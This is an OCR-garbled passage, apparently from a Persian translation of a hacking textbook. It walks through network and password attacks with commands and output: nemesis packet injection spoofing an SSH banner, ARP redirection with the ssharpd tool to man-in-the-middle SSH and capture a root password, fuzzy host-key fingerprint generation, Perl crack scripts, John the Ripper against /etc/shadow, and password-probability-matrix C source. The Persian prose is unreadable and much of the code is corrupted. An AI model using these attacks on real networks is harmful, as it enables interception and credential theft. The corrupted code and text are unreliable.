seq num2 = seq num + 1;

# Feed all this information to nemesis
exec _string = "nemesis tcp -fS -fA -S "src ip" -x "src port" -H "src mac"
-D
"dst_ip" -y "dst port" -M "dst mac" -s "seqg num" -a "ack num;
# Display some helpful debugging info.. input vs. output
print "[in} "$l" "$2" "$3" "$4" "$5" "$6" "$7" "$8" "$9" "$lO;

print "[out] "exec string;

# Inject the packet with nemesis
system(exec string);

# Do it again to craft the second packet, this time ACK/PSH with a banner

exec_string = "nemesis tcp -v -fP -fA -S "src ip" -x "src port" -H
"src_mac" -D
"dst ip" -y "dst port" -M "dst mac" -s "seqg num2" -a "ack num" -P banner";

# Display some helpful debugging info..
print "[out2] "exec string;

# Inject the second packet with nemesis

system(exec string);
}'
ebisS S9b 1) B 3z ssb (al Olg3 (g0 33,5 (o 8l > banner pb 4y ol Syl s dins 4 by o ! 23S ,L
)_;ggS_igoa)SoliiGl,o.&oSSHE&g_ﬁﬁ)@pk..\ﬂ,ﬁiQSSH”m)qélwb%&bgﬁj)s
).M‘oa_b.u)' b G Sl ol sl =1 Iol_i.:.m d3a =0 .;;S,_,nél.blbanner slosh JLLbal, QTQW

3558 Oligobl Jguaz 395 @i [P )3T 4 HOST
On 192.168.0.189:

tetsuo# telnet 127.0.0.1 22

Trying 127.0.0.1...

Connected to 127.0.0.1.

Escape character is '*]'.

SSH-1.99-OpenSSH_3.5pl

~]

telnet> quit

Connection closed.

tetsuo# printf "SSH-1.99-OpenSSH 3.5pl\n\r" > banner

tetsuo# ./shroud2.sh

tcpdump: listening on ethl

[in] 14:41:12.931803 0:0:ad:dl:c7:ed 0:2:2d:4:93:e4 0800 74:
192.168.0.193.32843 >

192.168.0.189.12345: S 4226290404:4226290404 (0)

[out] nemesis tcp -fS -fA -S 192.168.0.189 -x 12345 -H 0:2:2d:4:93:e4 -D
192.168.0.193 -y 32843 -M 0:0:ad:dl:c7:ed -s 1943811492 -a 4226290405

TCP Packet Injected

[out2] nemesis tcp -v -fP -fA -5 192.168.0.189 -x 12345 -H 0:2:2d:4:93:e4 -
D

192.168.0.193 -y 32843 -M 0:0:ad:dl:c7:ed -s 1943811493 -a 4226290405 -P
banner

TCP Packet Injection -=- The NEMESIS Project Version 1l.4beta3 (Build 22)

[MAC] 00:02:2D:04:93:E4 > 00:00:AD:D1:C7:ED

81 payload
VEE



[Ethernet type] IP (0x0800)

[IP] 192.168.0.189 > 192.168.0.193
[IP ID] 23711
[IP Proto] TCP (6)
[IP TTL] 255
[IP TOS] 00
[IP Frag offset] 0000
[IP Frag flags]

[TCP Ports] 12345 > 32843
[TCP Flags] ACK PSH
[TCP Urgent Pointer] O
[TCP Window Size] 4096
[TCP Ack number] 4226290405

Wrote 78 byte TCP packet through linktype DLT EN1O0OMB.
TCP Packet Injected

ol 4 )5 plowil SSH. )9 pur SO 0 pize Bl )l S5 4 3wy (00 b5 @ (OVerdose) 555 et Jl
From overdose @ 192.168.0.193:

overdose$ telnet 192.168.0.189 12345
Trying 192.168.0.189...

Connected to 192.168.0.189.

Escape character is '"]'.
SSH-1.99-OpenSSH_3.5pl

= Crizmod -3 S sLoml Gl (sl s I (] GLulS I obar sl Gl b Olgs o ) 6yt sl oglis
ol > 9 cume uz (Jad b ol gl ez g0 i ANST 23S 3595 sla Jgi Sl Jlgv <G J)l L 0lgs
553 0l) Sy 4 pilg5 oo JSlam pile Ul 43 b S35 Cawd ol Jl (SiSS @ Olgr b 3515 3929 S5 b il
T ghz Lo .@iS ,S3
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For (1 =1 to n)
{

Do something;

Do another thing;

}
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Do one last thing;
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For(x = 1 to n)
{
For(y = 1 to n)
{
Do the new action;
}
}
For(i = 1 to n)
{

Do something;
Do another thing;

}
Do one last thing;
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352 3lg 5 ,b 93y Sl 5
9 (c8) 0 IS 4 ARP Redirection (gl 4S) pour Juad 43 33290  pg g pSunl b 0lg (00 Lolos |) 3031 ,8 (ol
Lol 3,5 @25 15T Olgs go3 diamm (2l jlg= 9.0 2315 plowil SSharp pb 4 OpenSSH aai (5w dian S
) &bl plos ssharpd ey ssharp gess s http:/stealth.7350.01g w31 )3 1) 4t ol Olgy s
IP sclys ssharpd sl =l plin 4 35S oo oSy «(siai> 2o [P o )sT @ 1) LT plod uges 3 1234 (50
s© 23l VPPV O)gs 4 PV suaiio &gy U SSH blo )l Sl 5 035 culaa b redirect )ghis 4 Filtering
23S o Colaa 1 192.168.0.189 9 192.168.0.118 (y Sl 5 ARP Redirection ey »Suwl G 359

22wS g0 238lEe ) b uiilo (pl > 9,5 1) 033035 (20 192.168.0.193 (uile jI SL1 5 (] 455k

On machine overdose @ 192.168.0.193

overdose# iptables -t nat -A PREROUTING -p tcp --sport 1000:5000 --dport 22
-3

REDIRECT --to-port 1337 -i ethO

overdose# ./ssharpd -4 -p 1337

Dude, Stealth speaking here. This is 7350ssharp, a smart

SSH1 & SSH2 MiM attack implementation. It's for demonstration

and educational purposes ONLY! Think before you type ... (<KENTER> or <Ctrl-
Cc>)

overdose# ./arpredirect.pl 192.168.0.118 192.168.0.189

Pinging 192.168.0.118 and 192.168.0.189 to retrieve MAC addresses...
Retrieving MAC addresses from arp cache...

Retrieving your IP and MAC info from ifconfig...

[*] Gateway: 192.168.0.118 is at 00:C0:F0:79:3D:30

[*] Target: 192.168.0.189 is at 00:02:2D:04:93:E4

[*] You: 192.168.0.193 is at 00:00:AD:D1:C7:ED

Redirecting: 192.168.0.118 -> 00:00:AD:D1:C7:ED <- 192.168.0.189
Redirecting: 192.168.0.118 -> 00:00:AD:D1:C7:ED <- 192.168.0.189

9192.168.0.118 (s SSH bl )l So el )1 15 4 (redirection) colas b gz i (il 45 lsle

Ll jL 192.168.0.189

On machine euclid @ 192.168.0.118

euclid$ ssh root@192.168.0.189

The authenticity of host '192.168.0.189 (192.168.0.189)"' can't be
established.

RSA key fingerprint is 01:17:51:de:91:9b:58:69:02:91:6f:3a:e2:£8:48:fe.
Are you sure you want to continue connecting (yes/no)? yes

Warning: Permanently added '192.168.0.189' (RSA) to the list of known hosts.
root@192.168.0.189's password:

Last login: Wed Jan 22 14:03:57 2003 from 192.168.0.118

tetsuo# exit

Connection to 192.168.0.189 closed.

euclids

13318313 & 2 3190 192.168.0.193 5T L 0verdos oyudlo 59 2 Lol sy g0 M5 4 Gyoul bLII

Redirecting: 192.168.0.118 -> 00:00:AD:D1:C7:ED <- 192.168.0.189
Redirecting: 192.168.0.118 -> 00:00:AD:D1:C7:ED <- 192.168.0.189
Ctrl-C caught, exiting cleanly.

Putting arp caches back to normal.

overdose# cat /tmp/ssharp

192.168.0.189:22 [root:1h4R)2crd4Kpas$SsSwir) ]
overdose#

So Olg—ie 49 192.168.0.193 3,8 Joe b 392 228 Culaa ju (authentication) goiw liel Oldos (92

'3)5(9")3*“').'.‘!”)3)9““!,0'936‘&'){.

104



3l oo Sao ) Ollo> £55 ¢l 4 Camsl (51 kamo (Jolie b Olgic 4 395 03,5 20 43 S5 3985 O )lea
gy e en Jrem ol g ) SSle 9 350 (> b e ol bl 85 3 b SSH 9 SSL (slas o l8
osliwl Cagb ylicl usi ) obiie 4 (host fingerprint) yb iw i/ /01 jI SSH g s 4oliaalsS ;1 SSL
1) 3mib oy (obLs gl JUIS (S5 (61,5 0 b A 45 olSiin b 2l 4d13s 1) s 4olinalsS 83585 ,S1.0uS
LA 90395 Gabio o2 b Jlom > slabial s T (fingerprint) ss ()5 iS5l Bl o 55395 315 ,8 345 b

39 g0 @lle Eaudge cpl jl bS] Sy
S5 3 g 13 el 4ibl3s b5 1 TEtSUO opuble b SSH. 5 ,b 51 35 58 W Buclid ¢yablo (s Jiio )3
OVerdose ¢publo 4 bg ro 39 52 4id 3y W 455U jwo a1 51 .culns 3929 OT S gizme 43 OL juo
Oeole (§1pm Ol jwe il 51 S Euclid uisle 9 ciblas 3929 diao ol JS1.(Tetsuo 4 g) cuwl 2390

1Dg0d (50 39> N NI J,&im)blby)sjmkfob)bwwlnlu wblsTetsuo
cleierejeiercieiereieiercieiercieiercieiercyerercieiercierecierecierercierecierelclerecyeyecieaecleyeclerelcie
@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @
cleiercjeiercyeiercieiercieiercieiercyeiercyerercieiecierecierecieaecyereclererclerecierecleaecleaelclerelcic
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)'!
It is also possible that the RSA host key has just been changed.
The fingerprint for the RSA key sent by the remote host is
01:17:51:de:91:90:58:69:02:91:6f:3a:e2:£8:48:fe.
Please contact your system administrator.

L3S (o0 @io BLIJI S j)l8 il ouits B3> Ol jue (50938 CuiSSl 51 5 Sloj b Yoe OpenSSH e VS

= IS SO s sl "Are you sure you want to continue?" sl sslw ply > SO L LS 1y
S OLl ) Cude 4055 ply 4> (] 4 Gl U3 Sl (oo g U

SSH JSS9 0 15 OUjwe iS5l Ol 51 0sls jwles 15,0,V

OpenSSH e sla s 13 L (5030 el ol 3515 (6035 e 35z SSH s Ol juo iS5 &l 31
515 3929 (0038 S (G ilw 23ly U3 g Lol 3l aaud g9,
23 8313 OLis jj 10 45 yob Olod 398 g0 J1E w 23> Objwe So L SSH bli,l G 45 (5L sl Vgoe

139 g0 48LaI known_hosts pb b ol 4 O jwe OT cuiS51 51 canl

$ ssh 192.168.0.189

The authenticity of host '192.168.0.189 (192.168.0.189)' can't be
established.

RSA key fingerprint is cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f.

Are you sure you want to continue connecting (yes/no)? yes

Warning: Permanently added '192.168.0.189' (RSA) to the list of known hosts.
matrix@192.168.0.189's password: <ctrl-c>

$ grep 192.168.0.189 .ssh/known hosts

192.168.0.189 ssh-rsa
AAAAB3NzaClyc2EAAAABRIWAAAIEAZtDssBM4A1F7IPw+q/SXRIjrgPp0ZazTlgfofdmBx9oVHBCHL
byrJDTJE
hzA2EAXU6YowxyhApWUptpbPrudJJW7aLhtCsWKLSEFYAkdVnaXTIbWDD8rAfKFLOdaaWOODXALOR
OxoTYasx

MLWN4RiOcdwpXZyyRgyYJP72Kgmdzlkjk=

(SSH2 3 SSHI) 35,15 3829 wslite Ob jwe <SSl 51 93 L SSH SS9 0 jl slise (sjlw 23Ly 95 Jl> o @
$ ssh -1 192.168.0.189
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The authenticity of host '192.168.0.189 (192.168.0.189)"' can't be
established.

RSAl key fingerprint is 87:6d:82:7£:15:49:37:af:3£:86:26:da:75:fl:bb:be.
Are you sure you want to continue connecting (yes/no)?

$ ssh -2 192.168.0.189

The authenticity of host '192.168.0.189 (192.168.0.189)"' can't be
established.

RSA key fingerprint is cc:80:12:75:86:49:3a:€6:8b:db:71:98:1e:10:5e:0f.
Are you sure you want to continue connecting (yes/no)?

S
&J,..DQ)__{))))))DDJSJ’H_ begS))Ch".l._als)g)w'iSM)@QWSSH SCI‘VQI‘L.»,J o2 b 0

(el bold

$ telnet 192.168.0.193 22

Trying 192.168.0.193...

Connected to 192.168.0.193.

Escape character is '*]'.
SSH-2.0-OpenSSH_3.5pl

Connection closed by foreign host.
$ telnet 192.168.0.189 22

Trying 192.168.0.189...

Connected to 192.168.0.189.

Escape character is '"~]'.
SSH-1.99-OpenSSH_3.5pl

Connection closed by foreign host.
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From machine euclid @ 192.168.0.118 before MiM attack

euclid$ telnet 192.168.0.189 22
Trying 192.168.0.189...
Connected to 192.168.0.189.
Escape character is '"~]'.
SSH-1.99-OpenSSH_3.5pl

On machine overdose @ 192.168.0.118 setting up MiM attack

overdose# iptables -t nat -A PREROUTING -p tcp --sport 1000:5000 --dport 22
-3

REDIRECT --to-port 1337 -i ethO

overdose# ./ssharpd -4 -p 1337 -7
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Dude, Stealth speaking here. This is 7350ssharp, a smart

SSH1 & SSH2 MiM attack implementation. It's for demonstration

and educational purposes ONLY! Think before you type ... (<ENTER> or <Ctrl-
C>)

Using special SSH2 MiM ...

overdose# ./arpredirect.pl 192.168.0.118 192.168.0.189

Pinging 192.168.0.118 and 192.168.0.189 to retrieve MAC addresses...
Retrieving MAC addresses from arp cache...

Retrieving your IP and MAC info from ifconfig...

[*] Gateway: 192.168.0.118 is at 00:C0:F0:79:3D:30

[*] Target: 192.168.0.189 is at 00:02:2D:04:93:E4

[*] You: 192.168.0.193 is at 00:00:AD:D1:C7:ED

Redirecting: 192.168.0.118 -> 00:00:AD:D1:C7:ED <- 192.168.0.189
Redirecting: 192.168.0.118 -> 00:00:AD:D1:C7:ED <- 192.168.0.189

From machine euclid @ 192.168.0.118 after MiM attack
euclid$ telnet 192.168.0.189 22

Trying 192.168.0.189...

Connected to 192.168.0.189.

Escape character is '"~]'.

SSH-2.0-OpenSSH_3.5pl
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euclid$ ssh root@192.168.0.189

The authenticity of host '192.168.0.189 (192.168.0.189)"' can't be
established.

RSA key fingerprint is cc:80:12:75:86:49:3a:€6:8b:db:71:98:1e:10:5e:0f.
Are you sure you want to continue connecting (yes/no)?
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euclid$ ssh root@192.168.0.189

WARNING: RSAl key found for host 192.168.0.189

in /home/matrix/.ssh/known hosts:19

RSA1l key fingerprint c0:42:19:c7:0d:dc:d7:65:cd:c3:a6:53:ec:fb:82:£8.
The authenticity of host '192.168.0.189 (192.168.0.189)"' can't be
established,

but keys of different type are already known for this host.

RSA key fingerprint is cc:80:12:75:86:49:3a:€6:8b:db:71:98:1e:10:5e:0f.
Are you sure you want to continue connecting (yes/no)?
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overdose$ ssh-keyscan -t rsa 192.168.0.189 > /tmp/189.hostkey

# 192.168.0.189 SSH-1.99-OpenSSH 3.5pl

overdose$ cat /tmp/189.hostkey

192.168.0.189 ssh-rsa
AAAAB3NzaClyc2EAAAABIWAAAIEAZztDssBM4A1F7IPw+q/SXRjrgPp0ZazTlgfofdmBx9oVHBCHL
byrJDTJAE
hzA2EAXU6YowxyhApWUptpbPrudJW/7aLhtCsWKLSEFYAkdVnaXTIbWDD8rAfKFLOdaaWOODXALOR
OxoTYasx

MLWN4Ri0cdwpXZyyRqyYJP72Kgmdzlkjk=

overdose$ ssh-keygen -1 -f /tmp/189.hostkey

1024 cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f 192.168.0.189
overdose$
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2225 00 0L 192.168.0.189

overdose$ ffp
Usage: ffp [Options]

Options:

-f type Specify type of fingerprint to use [Default: md5]
Available: md5, shal, ripemd

-t hash Target fingerprint in byte blocks.
Colon-separated: 01:23:45:67... or as string 01234567...

-k type Specify type of key to calculate [Default: rsa]
Available: rsa, dsa

-b bits Number of bits in the keys to calculate [Default: 1024]

-K mode Specify key calulation mode [Default: sloppy]
Available: sloppy, accurate

-m type Specify type of fuzzy map to use [Default: gauss]

Available: gauss, cosine
-v variation Variation to use for fuzzy map generation [Default: 7.3]
-y mean Mean value to use for fuzzy map generation [Default: 0.14]

-1 size Size of list that contains best fingerprints [Default: 10]
-s filename Filename of the state file [Default: /var/tmp/ffp.state]
-e Extract SSH host key pairs from state file

-d directory Directory to store generated ssh keys to [Default: /tmp]
-p period Period to save state file and display state [Default: 60]
-V Display version information

No state file /var/tmp/ffp.state present, specify a target hash.
$ ffp -f md5 -k rsa -b 1024 -t
cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f

35 o3kiual 40IS (ul j1 3 p)lS ol 23 "o " Bl 1 Ols g0

15V



---[Initializing]----—-—-—-———————————— -~ ———

Initializing Crunch Hash: Done
Initializing Fuzzy Map: Done
Initializing Private Key: Done
Initializing Hash List: Done
Initializing FFP State: Done

---[Fuzzy Map]-—----"""""""""""="="="="“="“="““ "~~~ ————

Length: 32
Type: Inverse Gaussian Distribution
Sum: 15020328

Fuzzy Map: 10.83% | 9.64% : 8.52% | 7.47% : 6.49% | 5.58% : 4.74%
3.96% :

3.25% | 2.62% : 2.05% | 1.55% : 1.12% | 0.76% : 0.47% |
0.24%

0.09% | 0.01% : 0.00% | 0.06% : 0.19% | 0.38% : 0.65% |
0.99%

1.39% | 1.87% : 2.41% | 3.03% : 3.71% | 4.46% : 5.29% |
6.18%

---[Current Key]----——7--"---"-"-""""""""""""""""""""—"—————————————————————————

Key Algorithm: RSA (Rivest Shamir Adleman)
Key Bits / Size of n: 1024 Bits
Public key e: 0x10001
Public Key Bits / Size of e: 17 Bits
Phi(n) and e r.prime: Yes
Generation Mode: Sloppy

State File: /var/tmp/ffp.state
Running. ..

---[Current State]---------- - - -7 —————

Running: 0d 00h 0OOm 00s | Total: Ok hashs | Speed: nan hashs/s

Best Fuzzy Fingerprint from State File /var/tmp/ffp.state
Hash Algorithm: Message Digest 5 (MD5)
Digest Size: 16 Bytes / 128 Bits
Message Digest: ab:80:18:e2:4d:4b:1b:fa:e0:8c:1c:4d:c5:9c:bc:ef
Target Digest: cc:80:12:75:86:49:3a:€6:8b:db:71:98:1e:10:5e:0f
Fuzzy Quality: 30.715288%

---[Current State]-------—7"----"-""-"""""""""""""""""7""""""—"—"—~—~—(—~——(—~——(—~——————

Running: 0d 00h O0lm 00s | Total: 5373k hashs | Speed: 89556
hashs/s

Best Fuzzy Fingerprint from State File /var/tmp/ffp.state
Hash Algorithm: Message Digest 5 (MD5)
Digest Size: 16 Bytes / 128 Bits
Message Digest: cc:8b:1d:d9:8b:0f:c8:5f£:f0:d7:a8:8f£:3b:10:fe:3f
Target Digest: cc:80:12:75:86:49:3a:€6:8b:db:71:98:1e:10:5e:0f
Fuzzy Quality: 54.822385%

---[Current State]-------——17"=-—--"-"-"""""""""""""""""""""""7""7"7"""""""—"—"—"———————
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Running: 0d 00h 02m 00s | Total: 10893k hashs | Speed:
hashs/s

Best Fuzzy Fingerprint from State File /var/tmp/ffp.state
Hash Algorithm: Message Digest 5 (MD5)
Digest Size: 16 Bytes / 128 Bits

Message Digest: cc:8b:1d:d9:8b:0f:c8:5f:f0:d7:a8:8£:3b:10:fe:
Target Digest: cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:

Fuzzy Quality: 54.822385%

[output trimmed]

---[Current State]---------- - - - -7 —————

Running: 7d 00h 57m 00s | Total: 52924141k hashs | Speed:

hashs/s

Best Fuzzy Fingerprint from State File /var/tmp/ffp.state
Hash Algorithm: Message Digest 5 (MD5)
Digest Size: 16 Bytes / 128 Bits

Message Digest: cc:80:12:55:eb:ef:9e:8e:53:bd:c7:9¢:18:90:d5:
Target Digest: cc:80:12:75:86:49:3a:€6:8b:db:71:98:1e:10:5e:

Fuzzy Quality: 69.035430%

90776
3f
0f
87015
0f
0f

Exiting and saving state file /var/tmp/ffp.state
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overdose$ ffp -e -d /tmp

--—[Restoring]-——-----=--——-———————————— -

Reading FFP State File: Done
Restoring environment: Done
Initializing Crunch Hash: Done

Saving SSH host key pairs: [00] [01] [02] [03] [04] [05] [06] [07] [08] [09]
overdose$ 1ls /tmp/ssh-rsa*

/tmp/ssh-rsal0 /tmp/ssh-rsal2.pub /tmp/ssh-rsa05 /tmp/ssh-
rsal7.pub

/tmp/ssh-rsa00.pub /tmp/ssh-rsal3 /tmp/ssh-rsa05.pub /tmp/ssh-rsal8
/tmp/ssh-rsall /tmp/ssh-rsal03.pub /tmp/ssh-rsal6 /tmp/ssh-
rsal8.pub

/tmp/ssh-rsall.pub /tmp/ssh-rsal4 /tmp/ssh-rsal6.pub /tmp/ssh-rsal9
/tmp/ssh-rsal2 /tmp/ssh-rsal4.pub /tmp/ssh-rsal7 /tmp/ssh-
rsal09.pub

overdose$

105 State Information
1% SSH Host Key Pairs
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overdose$ ssh-keygen -1 -f /tmp/189.hostkey

1024 cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f 192.168.0.132
overdose$ 1ls -1 /tmp/ssh-rsa??.pub | xargs -n 1 ssh-keygen -1 -f

1024 cc:80:12:55:eb:ef:9e:8e:53:bd:c7:9¢c:18:90:d5:0£f /tmp/ssh-rsal00.pub
1024 cc:80:18:7a:7c:ce:bd:47:00:9¢c:38:5d:8e:50:5d:0f /tmp/ssh-rsall.pub
1024 ec:80:12:74:8b:a5:a3:ef:62:7c:29:9a:8:10:57:0f /tmp/ssh-rsal2.pub
1024 cc:80:12:71:83:d3:aa:b4:f6:8c:d7:56:62:da:2e:0d /tmp/ssh-rsal3.pub
1024 cc:8c:10:d5:8f:79:52:65:8c:a2:e2:17:86:15:5e:0f /tmp/ssh-rsal4.pub
1024 cc:8b:12:7e:71:49:4e:08:db:¢c8:28:b7:5e:00:09:0f /tmp/ssh-rsal5.pub
1024 cc:80:12:54:8d:de:29:9d:bd:e7:5e:c8:40:40:7e:0c /tmp/ssh-rsal06.pub
1024 cc:80:12:70:83:al:3a:ab:78:8d:38:97:7f:f5:d6:bf /tmp/ssh-rsal7.pub
1024 cc:80:92:76:83:8c:be:38:dc:fl:0e:45:ab:2e:53:0f /tmp/ssh-rsal8.pub
1024 cc:80:11:7d:88:a4:f7:£8:93:69:60:28:3b:1c:1le:5f /tmp/ssh-rsal09.pub
overdose$
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On overdose @ 192.168.0.193
overdose# ./ssharpd -h /tmp/ssh-rsa00 -p 1337

Dude, Stealth speaking here. This is 7350ssharp, a smart

SSH1 & SSH2 MiM attack implementation. It's for demonstration

and educational purposes ONLY! Think before you type ... (KENTER> or <Ctrl-
C>)

Disabling protocol version 1. Could not load host key

overdose#

overdose# ./arpredirect.pl 192.168.0.118 192.168.0.189

Pinging 192.168.0.118 and 192.168.0.189 to retrieve MAC addresses...
Retrieving MAC addresses from arp cache...

Retrieving your IP and MAC info from ifconfig...

[*] Gateway: 192.168.0.118 is at 00:C0:F0:79:3D:30

[*] Target: 192.168.0.189 is at 00:02:2D:04:93:E4

[*] You: 192.168.0.193 is at 00:00:AD:D1:C7:ED

Redirecting: 192.168.0.118 -> 00:00:AD:D1:C7:ED <- 192.168.0.189
Redirecting: 192.168.0.118 -> 00:00:AD:D1:C7:ED <- 192.168.0.189
Normal connection without MiM attack

euclid$ ssh root@192.168.0.189

The authenticity of host '192.168.0.189 (192.168.0.189)' can't be
established.

RSA key fingerprint is cc:80:12:75:86:49:3a:€6:8b:db:71:98:1e:10:5e:0f.
Are you sure you want to continue connecting (yes/no)?

Connection during MiM attack

euclid$ ssh root@192.168.0.189

The authenticity of host '192.168.0.189 (192.168.0.189)"' can't be
established.

RSA key fingerprint is cc:80:12:55:eb:ef:9e:8e:53:bd:c7:9¢c:18:90:d5:0¢f.
Are you sure you want to continue connecting (yes/no)?
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File: hash.pl

#!/usr/bin/perl

Splaintext = "test"; $salt = "Jje";
Shash = crypt($plaintext, $salt);
print "crypt (Splaintext, $salt) = $hash\n";

alises y5lio jl osliwl by command-ling ghaw 43 =1L 9 83,8 a3liwl Yo J g Cap pSwwl Jl ) 29,5

S g0 i CrypH() @b L 1) 39290 3l salt

$ ./hash.pl

crypt (test, je) = jeHEAXImG66RV.

$ perl -e 'Shash = crypt("test", "je"); print "Shash\n";'
JeHEAX1m66RV.

$ perl -e 'Shash = crypt("test", "xy"); print "Shash\n";'
xyVSuHLjceD92

$
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File: crack.pl

#!/usr/bin/perl

# Get the hash to crack from the first command-line argument
Shash = shift;

Ssalt substr ($hash,0,2); # The salt is the first 2 chars

print "Cracking the hash 'S$hash' using words from standard input..\n";
while (defined(Sin = <STDIN>)) # Read from standard input
{

chomp $in; # Remove the hard return
if(crypt($in, $salt) eqg Shash) # If the hashes match...

{
print "Password is: $in\n"; # Print the password
exit; # and exit.
}
}

print "The password wasn't found in the words from standard input.\n";
22 0 QLW 1) J g S Sl pl gl ) (s>9.05
$ perl -e 'Shash = crypt("test", "je"); print "S$hash\n";'
JeHEAX1m66RV.
$ cat /usr/share/dict/words | crack.pl jeHEAX1Im66RV.
Cracking the hash 'JjeHEAXIm66RV.' using words from standard input..
Password is: test
$ grep ""test$" /usr/share/dict/words
test
$
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0Lk st 03 i ol 39— 3idlgsns OT Bl 4 3B Sle> 95l 2bls 392 90 23kl 590 (5 08>
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$ perl -e 'Shash = crypt ("h4R%", "je"); print "Shash\n";'
JjeMagfIfPNNTE

$ cat /usr/share/dict/words | crack.pl jeMggfIfPNNTE

Cracking the hash 'JjeMggfIfPNNTE' using words from standard input..
The password wasn't found in the words from standard input.

$
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# john

John the Ripper Version 1.6 Copyright (c) 1996-98 by Solar Designer

Usage: john [OPTIONS] [PASSWORD-FILES]

19 Customized Dictionary Files
10 Exhaustive Brute-Force Attack
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-single "single crack" mode

-wordfile:FILE -stdin wordlist mode, read words from FILE or stdin
-rules enable rules for wordlist mode

-incremental [ :MODE] incremental mode [using section MODE]
-external : MODE external mode or word filter

-stdout [ : LENGTH] no cracking, just write words to stdout
-restore[:FILE] restore an interrupted session [from FILE]
-session:FILE set session file name to FILE

-status[:FILE] print status of a session [from FILE]
-makechars:FILE make a charset, FILE will be overwritten
-show show cracked passwords

-test perform a benchmark

-users: [-]LOGIN|UID[,..] load this (these) user(s) only

-groups: [-]GIDI[, ..] load users of this (these) group(s) only
-shells: [-]SHELL[, ..] load users with this (these) shell(s) only
-salts: [-]COUNT load salts with at least COUNT passwords only
-format :NAME force ciphertext format NAME
(DES/BSDI/MD5/BF/AFS/LM)

-savemem: LEVEL enable memory saving, at LEVEL 1..3

# john /etc/shadow
Loaded 44 passwords with 44 different salts (FreeBSD MD5 [32/32])

guesses: 0 time: 0:00:00:19 8% (1) c/s: 248 trying: orez8
guesses: 0 time: 0:00:00:59 13% (1) c/s: 242 trying: darkcube]
guesses: 0 time: 0:00:04:09 55% (1) c/s: 236 trying: ghost93
guesses: 0 time: 0:00:06:29 78% (1) c/s: 237 trying: ereiamjh9999984
guesses: 0 time: 0:00:07:29 90% (1) c/s: 238 trying: matrix1979
guesses: 0 time: 0:00:07:59 94% (1) c/s: 238 trying: kyooriusl919
guesses: 0 time: 0:00:08:09 95% (1) c/s: 238 trying: jigga9979
guesses: 0 time: 0:00:08:39 0% (2) c/s: 238 trying: gwerty
guesses: 0 time: 0:00:14:49 1% (2) c/s: 239 trying: dolphins
guesses: 0 time: 0:00:16:49 3% (2) c/s: 240 trying: Michelle
guesses: 0 time: 0:00:18:19 4% (2) c/s: 240 trying: Sadie
guesses: 0 time: 0:00:23:19 5% (2) c/s: 239 trying: kokos
guesses: 0 time: 0:00:48:09 12% (2) c/s: 233 trying: fugazifugazi
guesses: 0 time: 0:01:02:19 16% (2) c/s: 239 trying: MONSTER
guesses: 0 time: 0:01:32:09 23% (2) c/s: 237 trying: legend?
testing7? (ereiamjh)

guesses: 1 time: 0:01:37:29 24% (2) c/s: 237 trying: molly9

Session aborted
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" Hash Look-up Table
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File: ppm gen.c
/*****************************************************************\

* Password Probability Matrix * File: ppm gen.c *
R R I b b I b b I 2 b I b b S b I I b b 2h b b dh Sh b b I b b 2 b b b db b b 2 Sh b b 2 b b 2 Sh b b Sh b 2 2h b b I 2h b b 2 b b b 2 b 4

*
*

Author: Jon Erickson <matrix@phiral.com>
Organization: Phiral Research Laboratories

This is the generate program for the PPM proof of
concept. It generates a file called 4char.ppm, which
contains information regarding all possible 4
character passwords salted with 'je'. This file can
used to quickly crack passwords found within this

* keyspace with the corresponding ppm crack.c program.
\*****************************************************************
#define XOPEN SOURCE

#include <unistd.h>

#include <stdio.h>

#include <stdlib.h>

0% ok X % kX X%

N T S S S S T

#define HEIGHT 16384
#define WIDTH 1129
#define DEPTH 8
#define SIZE HEIGHT * WIDTH * DEPTH
int singleval (char a)
{
int 1, J;
i = (int)a;
if((1i >= 46) && (i <= 57))
3 =1 - 46;
else 1f ((1 >= 65) && (1 <= 90))
j =1 - 53;
else 1if ((i >= 97) && (i <= 122))
j =1 - 59;
return j;

}

int tripleval (char a, char b, char c)
{

return (((singleval (c)%4)*4096)+ (singleval (a)*64)+singleval (b)) ;
}

main ()
{
char *plain;
char *code;
char *data;
int i, 3, k, 1;
1YY



unsigned int charval, val;

FILE *handle;

if (! (handle = fopen("4char.ppm”", "w")))
{

printf ("Error: Couldn't open file '4char.ppm' for writing.\n");

exit (1) ;
}
data = (char *) malloc(SIZE+19);
if (! (data))

{
printf ("Error: Couldn't allocate memory.\n");
exit (1) ;

}

plain = data+SIZE;

code = plain+5;

for (1=32; 1<127; i++)
{ for (3j=32; 3<127; j++)
{ printf ("Adding %c%c** to 4char.ppm..\n", i, J);
for (k=32; k<127; k++)
{ for (1=32; 1<127; 1++)
{

plain[0] (char)i;

plain[l] = (char)j;

plain([2] = (char)k;

plain([3] = (char)l;

plain([4] = 0;

code = crypt(plain, "je");

val = tripleval(code[2], code[3], codel4]);
charval = (i-32)*95 + (j-32);

datal[ (val*WIDTH) + (charval/8)] |= (1<<(charval%8)):
val += (HEIGHT * 4);

charval = (k-32)*95 + (1-32);

data[ (val*WIDTH) + (charval/8)] |= (1<<(charval%8)):;

val = HEIGHT + tripleval(code[4], code[5], code[6]);

charval = (1-32)*95 + (3-32);

data[ (val*WIDTH) + (charval/8)] |= (1<<(charval%8)):;

val += (HEIGHT * 4);

charval = (k-32)*95 + (1-32);

datal[ (val*WIDTH) + (charval/8)] |= (1<<(charval%8)):;

val = (2 * HEIGHT) + tripleval(code[6], code[7], code[8]);
charval = (i-32)*95 + (j-32);

data[ (val*WIDTH) + (charval/8)] |= (1<<(charval%8));

val += (HEIGHT * 4);

charval = (k-32)*95 + (1-32);

data[ (val*WIDTH) + (charval/8)] |= (1<<(charval%8)):;

val = (3 * HEIGHT) + tripleval (code[8], code[9], code[1l0]);
charval = (i-32)*95 + (j-32);

datal[ (val*WIDTH) + (charval/8)] |= (1<<(charval%8)):;

val += (HEIGHT * 4);

charval = (k-32)*95 + (1-32);

data[ (val*WIDTH) + (charval/8)] |= (1<<(charval%8));

}
}
printf ("finished.. saving..\n");
fwrite(data, SIZE, 1, handle);
free(data); fclose (handle);
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}

File: ppm crack.c

/*********************************************************\
* Password Probability Matrix * File: ppm crack.c *
